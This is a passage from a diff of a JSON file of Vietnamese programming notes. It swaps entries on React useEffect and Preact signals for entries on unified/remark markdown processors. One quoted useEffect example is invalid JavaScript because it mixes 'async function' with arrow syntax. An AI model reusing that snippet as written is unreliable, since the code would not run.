sẽ báo lỗi ngay lập tức. Vấn đề ở đây là tham số đầu tiên của useEffect phải là 1 hàm trả về **undefined** hoặc là 1 hàm xóa side-effects. Trong khi đó, hàm async lại trả về một promise chứ không phải là function.\r\n\r\n### Cách giải quyết\r\n```javascript\r\nuseEffect(() => {\r\n // khi báo hàm lấy data\r\n async function fetchData() => {\r\n const data = await fetch('https://yourapi.com');\r\n }\r\n\r\n // gọi hàm\r\n fetchData()\r\n // bắt lỗi\r\n .catch(console.error);\r\n}, [])\r\n```\r\nCần xử lý gì thì cứ nhét hết vào `fetchData`. Ở dưới chỉ gọi mỗi hàm thôi.\r\nNguồn:: https://techmaster.vn/posts/37327/cach-su-dung-ham-async-trong-useeffect-co-vi-du\r\n\r\n[[Dùng fetch dạng promise chứ đừng await trong component]]", + "Toàn bộ nội dung": "```js title=\"Tạo cây cú pháp từ markdown\"\nimport {fromMarkdown} from 'mdast-util-from-markdown'\nimport {toMarkdown} from 'mdast-util-to-markdown'\n\nimport {find} from 'unist-util-find'\nimport {gfm} from 'micromark-extension-gfm'\nimport {gfmFromMarkdown, gfmToMarkdown} from 'mdast-util-gfm'\nimport { inspect } from \"unist-util-inspect\";\nconst doc = `\n// ## List \n// - One\n// - Two \n## Tasklist\n* [ ] to do\n* [x] done\n`\nconst tree = fromMarkdown(doc, {\n mdastExtensions: [gfmFromMarkdown()], // (1)!\n extensions: [gfm()], // (2)!\n})\nconst node = find(tree, {type: 'list'})\nconsole.log(inspect(node))\n\nconst out = toMarkdown(node, {extensions: [gfmToMarkdown()]})\nconsole.log(out)\n```\n\n1. extensions for this utility to change how tokens are turned into a tree \n2. micromark extensions to change how markdown is parsed\n\nNguồn:: [mdast-util-from-markdown - unified](https://unifiedjs.com/explore/package/mdast-util-from-markdown/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Z3" + "Ngày cập nhật": "2024-09-09T13:53:00.000Z", + "id": "co" }, { - "Tiêu đề": "useEffect được sinh ra là để side effect không tự động chạy mỗi khi component được render", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Quản lý state/Hook/useEffect được sinh ra là để side effect không tự động chạy mỗi khi component được render", + "Tiêu đề": "parser là thứ để biến văn bản thành cây cú pháp. Compiler là thứ để biến cây cú pháp thành chữ", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Markdown/unifiedjs/parser là thứ để biến văn bản thành cây cú pháp. Compiler là thứ để biến cây cú pháp thành chữ", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "`side-effect` có thể hiểu là một khái niệm miêu tả các tính toán bên trong một hàm ảnh hưởng đến các đối tượng bên ngoài không thông qua đối số. Mình cho một ví dụ như thế này\r\n\r\n```jsx\r\nlet a = 10;\r\n\r\nfunction calculate() {\r\n a++;\r\n}\r\n\r\n// Lúc này a sẽ bằng 11 chứ không phải bằng 10 \r\n// Khi hàm cal() được invoke, nó đã tác động đến biến bằng cách + lên 1 đơn vị mà không thông qua cách truyền tham số\r\n// Đây tạm gọi là side-effect\r\ncalculate(); // a = 11; \r\n```\r\n\r\nTrích từ:: [Tìm hiểu về React hook useEffect - Codestus.com](https://codestus.com/posts/tim-hieu-ve-react-hook-useeffect)\r\n\r\n---\r\n\r\nMột component React sử dụng các props và/hoặc state để tính toán kết quả đầu ra. **Nếu component thực hiện các tính toán không nhắm mục đích là giá trị đầu ra, thì các tính toán này được đặt tên là side effect**.\r\n\r\nVí dụ về các `side effect` là lấy data, thao tác DOM trực tiếp, sử dụng các hàm hẹn giờ như setTimeout (), v.v.\r\n\r\n**Component rendering và logic của `side effect` là độc lập. Sẽ là một sai lầm nếu thực hiện các `side effect` trực tiếp trong phần thân của Component , vốn chủ yếu được sử dụng để tính toán kết quả đầu ra**.\r\n\r\nTần suất hiển thị của component không phải là điều bạn có thể kiểm soát - nếu React muốn hiển thị component, bạn không thể dừng nó. \r\n\r\n```js\r\nfunction Greet({ name }) {\r\n const message = `Hello, ${name}!`; // Calculates output\r\n // Bad!\r\n document.title = `Greetings to ${name}`; // Side-effect!\r\n return <div>{message}</div>; // Calculates output\r\n}\r\n```\r\n\r\nLàm thế nào để tách rendering khỏi `side effect`? Hãy dùng \r\n`useEffect()` - hook chạy các `side effect` độc lập với việc rendering. \r\n\r\n```jsx\r\nimport { useEffect } from 'react';\r\nfunction Greet({ name }) {\r\n const message = `Hello, ${name}!`; // Calculates output\r\n useEffect(() => {\r\n // Good!\r\n document.title = `Greetings to ${name}`; // Side-effect!\r\n }, [name]);\r\n return <div>{message}</div>; // Calculates output\r\n}\r\n```\r\n\r\n`useEffect()` hook chấp nhận 2 đối số: `useEffect(callback[, dependencies]);`\r\n- `callback` là hàm chứa logic của `side effect`. `callback` được thực thi ngay sau khi các thay đổi được đẩy vào DOM.\r\n- `dependencies` là một mảng tùy chọn của các `dependencies` . `useEffect()` chỉ thực thi lệnh gọi lại nếu các `dependencies` thay đổi giữa các lần hiển thị.\r\n\r\n> Đặt logic của side effect vào hàm callback, sau đó sử dụng đối số dependencies để kiểm soát thời điểm bạn muốn side effect chạy. Đó là mục đích duy nhất của useEffect().\r\n\r\n[![Image 1](https://res.cloudinary.com/practicaldev/image/fetch/s--NH2FkXJU--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/22swjdpn18jt1w900zsn.PNG)](https://res.cloudinary.com/practicaldev/image/fetch/s--NH2FkXJU--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/22swjdpn18jt1w900zsn.PNG)\r\n\r\nVí dụ: trong đoạn code trước đó, bạn đã thấy `useEffect()` đang hoạt động: \r\n\r\n```jsx\r\nuseEffect(() => {\r\n document.title = `Greetings to ${name}`;\r\n}, [name]);\r\n```\r\n\r\nCập nhật tiêu đề document là `side effect` vì nó không trực tiếp tính toán kết quả đầu ra của component. Đó là lý do tại sao cập nhật tiêu đề document được đặt trong một hàm callback và được cung cấp cho `useEffect()`.\r\n\r\nNgoài ra, bạn không muốn bản cập nhật tiêu đề document thực thi mỗi khi component Greet hiển thị. Bạn chỉ muốn nó được thực thi khi prop name thay đổi - đó là lý do bạn cung cấp tên làm dependency cho `useEffect (callback, [name])`.\r\n\r\n### 2. Đối số Dependencies\r\n\r\nĐối số `Dependencies` của `useEffect(callback, dependencies)` cho phép bạn kiểm soát thời điểm **side effect** chạy. Khi `Dependencies` là:\r\n\r\n#### A) Không có: Side effect chạy sau mỗi lần rendering\r\n\r\n```jsx\r\nimport { useEffect } from 'react';\r\nfunction MyComponent() {\r\n useEffect(() => {\r\n // Runs after EVERY rendering\r\n }); \r\n}\r\n```\r\n\r\n#### B) Array rỗng []: side-effect chạy một lần sau lần hiển thị đầu tiên.\r\n\r\n```jsx\r\nimport { useEffect } from 'react';\r\nfunction MyComponent() {\r\n useEffect(() => {\r\n // Runs ONCE after initial rendering\r\n }, []);\r\n}\r\n```\r\n\r\n#### C) Có props hoặc state [prop1, prop2, ..., state1, state2]: side-effect chỉ chạy khi bất kỳ giá trị phụ thuộc nào thay đổi.\r\n\r\n```jsx\r\nimport { useEffect, useState } from 'react';\r\nfunction MyComponent({ prop }) {\r\n const [state, setState] = useState('');\r\n useEffect(() => {\r\n // Runs ONCE after initial rendering\r\n // and after every rendering ONLY IF `prop` or `state` changes\r\n }, [prop, state]);\r\n}\r\n```\r\n\r\nTrích từ:: [Giải thích đơn giản về React.useEffect () - DEV Community](https://dev.to/buiminh15/giai-thich-don-gian-ve-reactuseeffect--2k4f)", + "Toàn bộ nội dung": "```\n| ........................ process ........................... |\n| .......... parse ... | ... run ... | ... stringify ..........|\n\n +--------+ +----------+\nInput ->- | Parser | ->- Syntax Tree ->- | Compiler | ->- Output\n +--------+ | +----------+\n X\n |\n +--------------+\n | Transformers |\n +--------------+\n```\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Z4" + "Ngày cập nhật": "2024-09-09T13:53:00.000Z", + "id": "cp" }, { - "Tiêu đề": "effect khác computed ở chỗ một cái có return, một cái không có return", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Quản lý state/Signal/effect khác computed ở chỗ một cái có return, một cái không có return", + "Tiêu đề": "Processor tự động freeze khi parse, run, runSync, stringify, process, or processSync được gọi", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Markdown/unifiedjs/Processor tự động freeze khi parse, run, runSync, stringify, process, or processSync được gọi", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ", + "Toàn bộ nội dung": "title: Processor tự động freeze khi parse, run, runSync, stringify, process, or processSync được gọi\nFreeze a processor.\n\nFrozen processors are meant to be extended and not to be configured directly.\n\nWhen a processor is frozen it cannot be unfrozen. New processors working the same way can be created by calling the processor.\n\nIt’s possible to freeze processors explicitly by calling `.freeze()`. Processors freeze automatically when `.parse()`, `.run()`, `.runSync()`, `.stringify()`, `.process()`, or `.processSync()` are called.\nNguồn:: [unified - unified](https://unifiedjs.com/explore/package/unified/#processorfreeze)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Z5" + "Ngày cập nhật": "2024-09-09T13:53:00.000Z", + "id": "cq" }, { - "Tiêu đề": "Signal chỉ render lại mỗi phần tử HTML chứa giá trị của nó", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Quản lý state/Signal/Signal chỉ render lại mỗi phần tử HTML chứa giá trị của nó", + "Tiêu đề": "remark là unified có remarkParse và remarkStringify", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Markdown/unifiedjs/remark là unified có remarkParse và remarkStringify", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "It is important because signals are reactive, meaning they need to keep track of who is interested in the state and notify subscribers of state changes. This is achieved by observing the context in which the state-getter is invoked, which creates a subscription.\r\n\r\nIn contrast, `useState()` in React returns only the state-value, meaning it has no idea how the state-value is used and must re-render the whole component tree in response to state changes.\r\nNguồn:: [useSignal() is the Future of Web Frameworks](https://www.builder.io/blog/usesignal-is-the-future-of-web-frameworks)\r\n\r\n---\r\n\r\n# Đơn giản hoá quản lý state với preact-signal\r\n\r\n# 1. Quản lý State trong react và những bất lợi\r\n\r\n- Khi xây dựng ứng dụng Front-end, việc quản lý trạng thái (state) là không thể thiếu. Trạng thái đại diện cho những dữ liệu mà ứng dụng theo dõi và hiển thị cho người dùng. React giúp đơn giản hóa quá trình này bằng cách cung cấp các Hooks như useState, useEffect, và useMemo.\r\n- Do useState() trả về value và setter nên nó sẽ không thể biết value cụ thể được sử dụng ở đâu trong component. Điều này có nghĩa là sau khi gọi setter, React sẽ không biết được phần nào của component đã thay đổi để cập nhật, do đó nó sẽ phải re-render cả component. Dự án càng lớn, component càng lớn thì sẽ càng tốn thời gian re-render.\r\n- Một vấn đề khác rất hay gặp phải là trường hợp nhiều component cùng truy cập đến cùng 1 state nhất định. Với useState(), chúng ta sẽ phải sử dụng kỹ thuật \"lifting state up\" (tức là chuyển nơi khai báo state đến component cha gần nhất chứa các component cần sử dụng state trên, sau đó truyền state xuống các component con thông qua properties) \r\n Cùng xem ví dụ sau về 1 app hiển thị ảnh động vật dưới đây:\r\n\r\n```tsx\r\n// Container.tsx\r\nconst Container: React.FC = () => {\r\n const [generating, setGenerating] = useState(false);\r\n const [result, setResult] = useState<Image[]>([]);\r\n return (\r\n <div className={styles.container}>\r\n <Form generating={generating} result={result} setResult={setResult}\r\n setGenerating={setGenerating}\r\n />\r\n <Result result={result} setResult={setResult} generating={generating} />\r\n </div>\r\n );\r\n};\r\n```\r\n\r\n_Container chứa 2 component trên trang_ \r\n \r\n\r\n```tsx\r\n// Result.tsx\r\nconst Result: FC<Props> = ({ generating, result = [], setResult }) => {\r\n const [mainImgIndex, setMainImgIndex] = useState<number>(0);\r\n return (\r\n <div className={classNames(styles.result, styles.right)}>\r\n <section className={styles.mainImg}>\r\n {generating ? <FcProcess className={styles.icon} size={40} />\r\n : result.length > 0 && <img src={getImageURL(result[mainImgIndex].url)} alt=\"image\" />}\r\n </section>\r\n <section className={styles.subImgs}>\r\n {result?.map((image, index) => (<img\r\n key={index}\r\n src={getImageURL(image.url)}\r\n onClick={() => changeMainImg(index)}\r\n />))}\r\n </section>\r\n </div>\r\n );\r\n};\r\n```\r\n\r\n_Trong Result thì đơn giản chỉ là hiện các ảnh đã gen_ \r\n \r\n\r\n```tsx\r\n//Form.tsx\r\nconst Form: FC<Props> = ({ generating, result, setResult, setGenerating }) => {\r\n const [input, setInput] = useState(\"\");\r\n const handleSubmit = async () => {\r\n setGenerating(true);\r\n const data = await generateImage(input);\r\n setResult((prev) => prev.concat({ id: data.id, url: data.url }));\r\n setGenerating(false);\r\n };\r\n useEffect(() => {console.log(result)}, [imageCount]);\r\n return (\r\n <fieldset className={styles.form} disabled={generating}>\r\n <label className={styles.label} htmlFor=\"promptInput\">Enter Animal</label>\r\n <Textarea value={input} onChange={(e) => setInput(e.target.value)} />\r\n <Button className={styles.submitButton} onClick={handleSubmit}>\r\n {generating ? <FcSynchronize /> : <FcServices />} Submit\r\n </Button>\r\n </fieldset>\r\n );\r\n };\r\n```\r\n\r\n_Form nhập tên con vật muốn generate_ \r\n \r\n\r\n![result img](https://images.viblo.asia/eca86ac6-77ab-4e86-ab0f-eb1b98f103b5.png)\r\n\r\nĐây là 1 ví dụ đơn giản về việc \"lifting state up\". State sẽ được khởi tạo trong component cha gần nhất chứa các component dùng state đó, sau đó sẽ truyền value và setter xuống các component con để chúng sử dụng. Trong các dự án thực tế rất có thể còn nhiều hơn nữa các component trung gian nằm giữa component Container và Result. Việc truyền state qua trung gian thực sự là một cơn ác mộng; hơn nữa, mỗi khi state được thay đổi, component khởi tạo state và tất cả component nằm dưới nó trong DOM đều sẽ phải re-render.\r\n\r\n# 2. Giới thiệu về preact-signal\r\n\r\nVì những vấn đề trên, mình có thử tìm hiểu các thư viện thay thế, và mình tìm thấy preact-signal, nó giúp mình giải quyết các vấn đề trên. Cụ thể preact-signal là gì? Signal giúp đơn giản hóa quá trình quản lý state. Khác biệt mấu chốt ở đây là thay vì trả về value và setter, signal sẽ trả về getter và setter, getter sẽ giúp signal biết nơi nào đang sử dụng state, và khi giá trị thay đổi, những nơi gọi getter đó sẽ được tính toán lại mà không cần re-render lại cả component. Signal trả về 1 object với thuộc tính .value chứa giá trị của state, nó vừa có thể lấy giá trị ra (getter) và cũng có thể dùng để gán lại giá trị cho state (setter) (như 1 object thông thường).\r\n\r\n## 2.1. Cài đặt và sử dụng\r\n\r\nTuỳ vào công nghệ dự án sử dụng mà cần cài package Signal phù hợp. Đối với dự án React, ta cần thêm package [@preact](https://viblo.asia/u/preact)/signals-react\r\n\r\n```tsx\r\nnpm install @preact/signals-react\r\nhoặc\r\nyarn add @preact/signals-react\r\n```\r\n\r\n_Ta sẽ sử dụng signal và sửa lại component Form phía trên 1 chút:_\r\n\r\n```tsx\r\n // const [input, setInput] = useState(\"\");\r\n const inputSignal = useSignal(\"\");\r\n console.log(\"check re-render\", inputSignal);\r\n```\r\n\r\n_useSignal() dùng để khởi tạo state và “” là giá trị mặc định khi khởi tạo._\r\n\r\n```\r\n // value={input}\r\n // onChange={(e) => setInput(e.target.value)}\r\n value={inputSignal}\r\n onChange={(e) => (inputSignal.value = e.target.value)}\r\n```\r\n\r\n_Mỗi khi nhập 1 ký tự, ta sẽ update lại giá trị cho state_\r\n\r\nVà đây là kết quả\r\n\r\n![](https://images.viblo.asia/fdf96c10-3c3f-49aa-8ccc-4f9682c58338.png)\r\n\r\n_console.log(\"check re-render\", inputSignal); không chạy mỗi khi nhập 1 ký tự do component không cần re-render._ \r\n \r\nTiếp theo là đến vấn đề truy cập cùng 1 state giữa các component ở các vị trí khác nhau. Signal cho phép chúng ta khai báo state ở cả bên trong hoặc bên ngoài component, do đó muốn các component khác truy cập tới thì ta chỉ cần đơn giản là khai báo state ở ngoài component rồi export nó ra như biến hoặc function thông thường thôi. \r\nĐể khai báo state ngoài component, ta dùng method signal(),\r\n\r\n```tsx\r\n//Container.tsx\r\nimport { signal } from \"@preact/signals-react\";\r\nexport const generating = signal(false);\r\nexport const result = signal<Image[]>([]);\r\nconst Container: React.FC = () => {\r\n return (\r\n <div className={styles.container}><Form /><Result /></div>\r\n );\r\n};\r\n```\r\n\r\nTa cũng có thể đưa các khác báo signal ra các file riêng để quản lý chúng dễ dàng hơn.\r\n\r\n_Form.tsx và Result.tsx ta chỉ cần import signal như biến thông thường_\r\n\r\n`import { generating, result } from \"../Container\";`\r\n\r\nĐơn giản đúng không nào? Việc này còn giúp các component không thực sự sử dụng state (Container) sẽ không phải re-render khi state đó thay đổi.\r\n\r\n## 2.2. Một số ứng dụng khác\r\n\r\nNgoài ra, preact-signal còn cung cấp thêm một số method khác cũng hữu ích không kém:\r\n\r\n### Computed\r\n\r\n**computed()**: khởi tạo một signal mới được tính toán (computed) dựa trên giá trị của các signal khác. Computed signal cũng trả về 1 object nhưng ở dạng read-only và giá trị của nó sẽ được tự động cập nhật khi 1 trong các signal khác mà nói sử dụng được cập nhật (khá giống với useMemo() của React nhưng không cần truyền mảng dependencies vì computed() sẽ tự detect chúng). const count = signal(0); const addition = signal(2); const double = computed(() => count.value * 2 + addition.value);\r\n\r\nTrong trường hợp ta không muốn double update khi addition thay đổi, ta có thể sử dụng addition.peek() để lấy giá trị mà không cần lắng nghe sự thay đổi của nó. Nhưng tất nhiên việc này rất hiếm khi xảy ra, vì hầu hết ta đều muốn state update khi phụ thuộc của nó thay đổi.\r\n\r\n### Effect\r\n\r\n**effect()**: thực hiện 1 function nào đó khi các signal được sử dụng bên trong function thay đổi (tương tự useEffect() và cũng không cần truyền mảng dependencies).\r\n\r\n```tsx\r\nconst count = signal(0);\r\neffect(() => console.log(`Count value has change to ${count.value}`));\r\n```\r\n\r\nTương tự như computed(), chúng ta cũng có thể sử dụng .peek() để từ chối lắng nghe sự thay đổi của dependency signal. effect() sẽ không return signal, mà nó sẽ trả về 1 function tự huỷ chính nó (unsubscribe). Nghĩa là khi function tự huỷ được gọi đến thì effect() của n sẽ không tự động chạy khi có dependency signal thay đổi nữa.\r\n\r\n```tsx\r\nconst count = signal(0);\r\nconst double = computed(() => count.value * 2);\r\nconst dispose = effect(() => {\r\n if (count.value === 3) {\r\n console.log(\"Count reached 3\");\r\n dispose();\r\n }\r\n console.log(\"Count current\", count.value);\r\n});\r\nconst Test: React.FC = () => {\r\n console.log(\"Double current\", double.value);\r\n return (\r\n <div>\r\n <button onClick={() => count.value++}>Increment</button>\r\n <div>Count: {double}</div>\r\n </div>\r\n );\r\n};\r\n```\r\n\r\nKết quả:\r\n\r\n![](https://images.viblo.asia/3bd256cb-5af1-4554-83e6-5a201b54f1d4.png)\r\n\r\n_Ta có thể thấy khi count = 3, function trong effect sẽ không được gọi nữa_\r\n\r\n# Kết luận\r\n\r\nSignal là một cách khác để lưu trữ state trong ứng dụng, thay vì trả về một giá trị và một hàm setter, signal trả về một hàm getter và một hàm setter. Từ hàm getter, signal có thể biết ngay được component nào đang sử dụng trạng thái và phản ứng lại cho chúng 1 cách nhanh chóng mà không cần phải để dev khai báo các dependencies.\r\n\r\nHy vọng sau bài viết này các bạn sẽ nhận thấy rằng việc sử dụng signal có thể giúp đơn giản hóa quá trình quản lý trạng thái trong ứng dụng và tạo ra một trải nghiệm phát triển (D", + "Toàn bộ nội dung": "Gọi `remark` thế này\n```js\nconst file = await remark()\n .use(remarkPresetLintConsistent)\n .use(remarkPresetLintRecommended)\n .process('1) Hello, _Jupiter_ and *Neptune*!')\n```\n\ntương đương với gọi `unified` thế này:\n```js\nconst file = await unified()\n .use(remarkParse)\n .use(remarkStringify)\n .use(remarkPresetLintConsistent)\n .use(remarkPresetLintRecommended)\n .process('1) Hello, _Jupiter_ and *Neptune*!')\n```\n\nNguồn:: [[Stack Overflow]], [Why can remark work independently from unified?](https://stackoverflow.com/a/78913256/3416774)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Z6" + "Ngày cập nhật": "2024-09-09T13:53:00.000Z", + "id": "cr" }, { - "Tiêu đề": "Signal giúp giải quyết các vấn đề do useState hoặc Context tạo ra", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Quản lý state/Signal/Signal giúp giải quyết các vấn đề do useState hoặc Context tạo ra", + "Tiêu đề": "unified, remark là các processor", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Markdown/unifiedjs/unified, remark là các processor", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Vấn đề từ `useState`:\r\n![Image showing how the depth of the component tree directly affects rendering performance when using standard state updates.](https://preactjs.com/signals/state-updates.png) \r\n\r\nVấn đề từ context:\r\n![Context can skip updating components until you read the value out of it. Then it's back to memoization.](https://preactjs.com/signals/context-chaos.png)\r\n\r\nĐiều kiện lý tưởng:\r\n```jsx\r\n// Imagine this is some global state and the whole app needs access to:\r\nlet count = 0;\r\n\r\nfunction Counter() {\r\n return (\r\n <button onClick={() => count++}>\r\n value: {count}\r\n </button>\r\n );\r\n}\r\n```\r\n\r\nĐiều mà signal có thể tạo ra:\r\n```jsx\r\n// Imagine this is some global state that the whole app needs access to:\r\nconst count = signal(0);\r\n\r\nfunction Counter() {\r\n return (\r\n <button onClick={() => count.value++}>\r\n Value: {count.value}\r\n </button>\r\n );\r\n}\r\n```\r\nThậm chí còn có thể viết `Value: {count.value}` cũng được. (`count++` thì không được.) \r\n\r\nNguồn:: [Introducing Signals – Preact](https://preactjs.com/blog/introducing-signals/)\r\n[Signals – Preact Guide](https://preactjs.com/guide/v10/signals/)\r\n![Why Signals Are Better Than React Hooks - YouTube](https://youtu.be/SO8lBVWF2Y8?si=e5ufEuX6SJqA2wjO)\r\n![PREACT Signals: Everything you need to know in 15 minutes - YouTube](https://youtu.be/aDVl8vORUUg?si=2DbxsNx-1fZxhhua)\r\n\r\nI just refactor my code from using `useState` to signals. By being able to gather all the signals in one file, now I don't have to use so many props to send states and their setters, don't have to import many types for them, and having to manage all the variables. It just feels... great ![🫠](https://discord.com/assets/5ba2d0026109e7402c0e.svg)![🫠](https://discord.com/assets/5ba2d0026109e7402c0e.svg)![🫠](https://discord.com/assets/5ba2d0026109e7402c0e.svg)\r\n![](https://media1.tenor.com/m/AbAExTbXCQsAAAAC/kid-kid-evil-spiderman-dance.gif) \r\n\r\nNếu phải truyền setter thì dùng signal sẽ không phải truyền cả getter lẫn setter. Prop bây giờ gọn hơn nhiều, chủ yếu chỉ còn dữ liệu từ server truyền sang client, và việc tách \r\nTrước:\r\n```tsx\r\nexport default function KhungTìmBàiĐăngHoặcNơiĐăng({tênDanhSách, fuse}: {tênDanhSách: TênDanhSách; fuse: Fuse}) {\r\n const [searchList, setSearchList] = useState<DanhSáchKếtQuảTìmKiếm>(undefined);\r\n const [cursor, setCursor] = useState<Cursor>(0);\r\n const [mụcĐượcChọn, setMục] = useState<MụcĐượcChọn>(undefined);\r\n const [query, setQuery] = useState<string>(\"\");\r\n switch (tênDanhSách) {\r\n case \"nơi đăng\":\r\n nơiĐăngChưaXácĐịnhVịTríĐượcChọn.value =\r\n mụcĐượcChọn as NơiĐăngChưaXácĐịnhVịTrí;\r\n break;\r\n\r\n case \"bài đăng\":\r\n bàiĐăngĐượcChọn.value = mụcĐượcChọn as BàiĐăng;\r\n break;\r\n }\r\n return (\r\n <div id={`div-${kiểuKebab(tênDanhSách)}`} >\r\n <InputTìmBàiĐăngHoặcNơiĐăng fuse={fuse} tênDanhSách={tênDanhSách} />\r\n\t <DanhSáchKếtQuảTìmKiếm\r\n\t tênDanhSách={tênDanhSách}\r\n\t danhSáchKếtQuảTìmKiếm={searchList}\r\n\t cursor={cursor}\r\n\t setCursor={setCursor}\r\n\t setSelectedItem={setMục}\r\n\t />\r\n\t <ModalTạoMới\r\n\t tênDanhSách={tênDanhSách}\r\n\t URL={query}\r\n\t setSelectedItem={setMục}\r\n\t />\r\n <KếtQuảĐượcChọn loạiVậtThể={tênDanhSách} />\r\n <br />\r\n </div>\r\n );\r\n}\r\n```\r\nSau:\r\n```tsx\r\nexport default function DivTìmBàiĐăngHoặcNơiĐăng({ tênDanhSách }: { tênDanhSách: TênDanhSách }) {\r\n let mụcĐượcChọn: Signal<MụcĐượcChọn>;\r\n let query: Signal<string>;\r\n let flexSearch: FlexSearchBàiĐăngHoặcNơiĐăng;\r\n switch (tênDanhSách) {\r\n case \"bài đăng\":\r\n mụcĐượcChọn = bàiĐăngĐượcChọn;\r\n query = queryBàiĐăng;\r\n flexSearch = flexSearchBàiĐăngSignal.value;\r\n break;\r\n case \"nơi đăng\":\r\n mụcĐượcChọn = nơiĐăngChưaXácĐịnhVịTríĐượcChọn;\r\n query = queryNơiĐăng;\r\n flexSearch = flexSearchNơiĐăngSignal.value;\r\n break;\r\n }\r\n return (\r\n <div id={`div-tìm-${kiểuKebab(tênDanhSách)}`}>\r\n <InputTìmBàiĐăngHoặcNơiĐăng tênDanhSách={tênDanhSách} mụcĐượcChọn={mụcĐượcChọn} query={query} flexSearch={flexSearch} />\r\n <DanhSáchKếtQuảTìmKiếm tênDanhSách={tênDanhSách} mụcĐượcChọn={mụcĐượcChọn} query={query} />\r\n <KếtQuảĐượcChọn loạiVậtThể={tênDanhSách} />\r\n <ModalTạoMới tênDanhSách={tênDanhSách} mụcĐượcChọn={mụcĐượcChọn} />\r\n </div>\r\n );\r\n}\r\n```\r\n\r\n[[Dùng setState gọn hơn signal nếu không phải truyền setter qua nhiều hàm khác nhau]]", + "Toàn bộ nội dung": "Every processor implements another processor. To create a processor, call another processor. The new processor is configured to work the same as its ancestor. But when the descendant processor is configured in the future it does not affect the ancestral processor.\n\nWhen processors are exposed from a module (for example, `unified` itself) they should not be configured directly, as that would change their behavior for all module users. Those processors are _[frozen](https://github.com/unifiedjs/unified?tab=readme-ov-file#processorfreeze)_ and they should be called to create a new processor before they are used.\n\nNguồn:: [GitHub - unifiedjs/unified: ☔️ interface for parsing, inspecting, transforming, and serializing content through syntax trees](https://github.com/unifiedjs/unified?tab=readme-ov-file#processors)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Z7" + "Ngày cập nhật": "2024-09-09T13:53:00.000Z", + "id": "cs" }, { - "Tiêu đề": "Route là code viết cho server. Island là code viết cho client", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Route là code viết cho server. Island là code viết cho client", + "Tiêu đề": "Ngôn ngữ scripting sinh ra là để xử lý văn bản, không nhấn mạnh về kiểu, khai báo", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Ngôn ngữ scripting sinh ra là để xử lý văn bản, không nhấn mạnh về kiểu, khai báo", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Các hàm được môi trường thực thi cung cấp không hoạt động được ở island]]\nIf all your JavaScript only runs in the client, then you don't have the problem of how do I share signals from the server to the client, simply because there is no js code running on the server. Same is true if everything is running on the server. When all code only ever runs in the same runtime, you avoid the whole \"how do I share stuff with the other runtime\" which is a pretty complex problem.\n\nRegarding why sharing signals doesn't work per import statement across runtimes: It's the same problem as when you open your website in Chrome, trigger some signal update and then open the same site in Firefox. Despite you having updated the signal in Chrome, it won't be updated in Firefox, simply because they both run in their own runtime and have no clue update each other\n\nEvery other framework which renders parts on the server and parts of it on the client has this problem. Doesn't matter if they are built around the island concept or something else\nNguồn:: [Discord](https://discord.com/channels/684898665143206084/991511118524715139/1238477389663834152)\n\n[[Route không bao giờ được gửi đến client. Island được chạy ở cả server và client]]\n[[Render phía máy chủ nhanh và SEO tốt. Render phía người dùng phù hợp cho những ứng dụng cần tương tác nhiều]]\n", + "Toàn bộ nội dung": "Nguồn:: ![Computer Science - Brian Kernighan on successful language design - YouTube](https://youtu.be/Sg4U4r_AgJU?si=aYt8PJjJWOvdjkC_&t=735)\n\n[[PowerShell là một ngôn ngữ shell]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", 